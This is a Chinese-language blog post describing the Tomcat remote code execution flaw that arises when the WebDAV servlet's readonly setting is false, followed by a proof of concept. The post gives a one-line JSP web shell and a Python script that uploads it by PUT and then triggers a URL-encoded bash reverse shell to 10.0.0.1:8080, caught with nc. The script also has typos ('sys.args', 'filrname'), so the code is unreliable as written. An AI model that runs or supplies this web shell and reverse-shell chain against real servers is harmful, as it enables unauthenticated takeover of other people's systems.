Tomcat遠程任意代碼執行漏洞及其POC

一、原理分析:

只需參數readonly設置爲false或者使用參數readonly設置啓用WebDAV servlet false,則Tomcat可以不經任何身份驗證的控制直接接收PUT方式上傳的文件,無論上傳者是任何人,也無論上傳的是任何文件。此時可以上傳jsp文件,直接執行jsp代碼。

二、實例分析:

我們上傳1.txt,直接返回了201成功

不幸的是找到的這個環境對jsp上傳是失敗的,所以在一定程度上防止了getshell的。

如果能夠上傳jsp,只需傳一個木馬上去,執行反彈shell的命令,就可以搞定了。

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

然後我們可以寫一個腳本來搞定

三、驗證POC:

poc的流程其實很簡單,requests庫發起put請求,上傳payload如上,然後直接訪問對應的url反彈shell就行。

只寫出關鍵代碼

複製代碼
import sys
import uuid
import requests
targetip = sys.args[1]
targetport = sys.args[2]
filename = uuid.uuid1()
targeturl = "https://%s:%s/%s.jsp"%(targetip,targetport,filrname)
response = requests.put(targeturl,data='<%Runtime.getRuntime().exec(request.getParameter("i"));%>')
if response.status_code == 201:
     print "YES"
     requests.get(targeturl+"?i=%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%38%30%38%30%20%30%3e%26%31%0a")
複製代碼

參數i的部分URL編碼後的:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

只需要自己用nc監聽者端口就可以了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章